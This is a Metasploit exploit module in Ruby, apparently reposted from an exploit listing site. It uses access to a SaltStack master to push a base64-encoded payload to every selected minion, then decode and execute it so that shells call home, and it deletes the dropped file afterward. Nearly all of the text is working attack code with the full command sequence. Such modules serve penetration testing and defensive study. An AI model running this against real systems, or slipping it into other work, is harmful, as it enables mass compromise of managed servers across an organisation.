Share
## https://sploitus.com/exploit?id=PACKETSTORM:176707
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = GoodRanking  
  
include Msf::Post::File  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
include Msf::Exploit::Local::Saltstack  
  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Saltstack Minion Payload Deployer',  
'Description' => %q{  
This exploit module uses saltstack salt to deploy a payload and run it  
on all targets which have been selected (default all).  
Currently only works against nix targets.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'h00die', # msf module  
'c2Vlcgo'  
],  
'Platform' => [ 'linux', 'unix' ],  
'Stance' => Msf::Exploit::Stance::Passive,  
'Arch' => [ ARCH_X86, ARCH_X64 ],  
'SessionTypes' => [ 'shell', 'meterpreter' ],  
'Targets' => [[ 'Auto', {} ]],  
'Privileged' => true,  
'References' => [],  
'DisclosureDate' => '2011-03-19', # saltstack salt original release date  
'DefaultTarget' => 0,  
'Passive' => true, # this allows us to get multiple shells calling home  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [CONFIG_CHANGES, ARTIFACTS_ON_DISK]  
}  
)  
)  
register_options [  
OptString.new('SALT', [true, 'salt-master executable location', '']),  
OptString.new('MINIONS', [true, 'Minions Target', '*']),  
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),  
OptString.new('TargetWritableDir', [ true, 'A directory where we can write and execute files on targets', '/tmp' ]),  
OptBool.new('CALCULATE', [ true, 'Calculate how many boxes will be attempted', true ]),  
OptInt.new('ListenerTimeout', [ false, 'The maximum number of seconds to wait for new sessions', 60 ]),  
OptInt.new('TIMEOUT', [true, 'Timeout for salt commands to run in seconds', 120])  
]  
end  
  
def salt_master  
return @salt if @salt  
  
[datastore['SALT'], '/usr/bin/salt-master', '/usr/local/bin/salt-master'].each do |exec|  
next unless executable?(exec)  
  
@salt = exec  
return @salt  
end  
@salt  
end  
  
def list_minions_printer  
minions = list_minions  
return if minions.nil?  
  
tbl = Rex::Text::Table.new(  
'Header' => 'Minions List',  
'Indent' => 1,  
'Columns' => ['Status', 'Minion Name']  
)  
  
count = 0  
minions['minions'].each do |minion|  
tbl << ['Accepted', minion]  
count += 1  
end  
  
print_good(tbl.to_s)  
  
# https://github.com/rapid7/metasploit-framework/pull/18626#discussion_r1434577017  
print_good("#{count} minions were found in the accepted state, and will attempt to execute payload. If this isn't an expected volume (too many), ctr+c to halt execution. Pausing 10 seconds.")  
Rex.sleep(10)  
count  
end  
  
def check  
return CheckCode::Safe('salt-master does not seem to be installed, unable to find salt-master executable') if salt_master.nil?  
  
CheckCode::Vulnerable('salt-master executable found')  
end  
  
def exploit  
# Make sure we can write our exploit and payload to the local system  
fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable" unless writable? datastore['WritableDir']  
count = 1 # default to running if we decide not to calculate  
count = list_minions_printer if datastore['CALCULATE']  
fail_with Failure::NotFound, 'No exploitable minions found.' if count == 0  
  
payload_name = rand_text_alphanumeric(5..10)  
  
# due to a bug in older (2021) versions of salt-cp, we need to write ascii files. https://github.com/saltstack/salt/issues/59899  
upload_and_chmodx "#{datastore['WritableDir']}/#{payload_name}", Rex::Text.encode_base64(generate_payload_exe)  
  
print_status('Copying payload to minions')  
cmd_exec("salt-cp '#{datastore['MINIONS']}' '#{datastore['WritableDir']}/#{payload_name}' '#{datastore['TargetWritableDir']}/#{payload_name}.b64'")  
print_status('Executing payloads')  
cmd_exec("salt '#{datastore['MINIONS']}' cmd.run 'base64 -d #{datastore['TargetWritableDir']}/#{payload_name}.b64 > #{datastore['TargetWritableDir']}/#{payload_name} && chmod 755 #{datastore['TargetWritableDir']}/#{payload_name} && #{datastore['TargetWritableDir']}/#{payload_name}'")  
  
# stolen from exploit/multi/handler  
stime = Time.now.to_f  
timeout = datastore['ListenerTimeout'].to_i  
loop do  
break if timeout > 0 && (stime + timeout < Time.now.to_f)  
  
Rex::ThreadSafe.sleep(1)  
end  
end  
  
def on_new_session(_session)  
super  
cli.core.use('stdapi') if !cli.ext.aliases.include?('stdapi')  
  
begin  
print_warning("Deleting: #{datastore['TargetWritableDir']}/#{payload_name}")  
cli.fs.file.rm("#{datastore['TargetWritableDir']}/#{payload_name}")  
print_good("#{datastore['TargetWritableDir']}/#{payload_name} removed")  
rescue StandardError  
print_error("Unable to delete: #{datastore['TargetWritableDir']}/#{payload_name}")  
end  
end  
  
end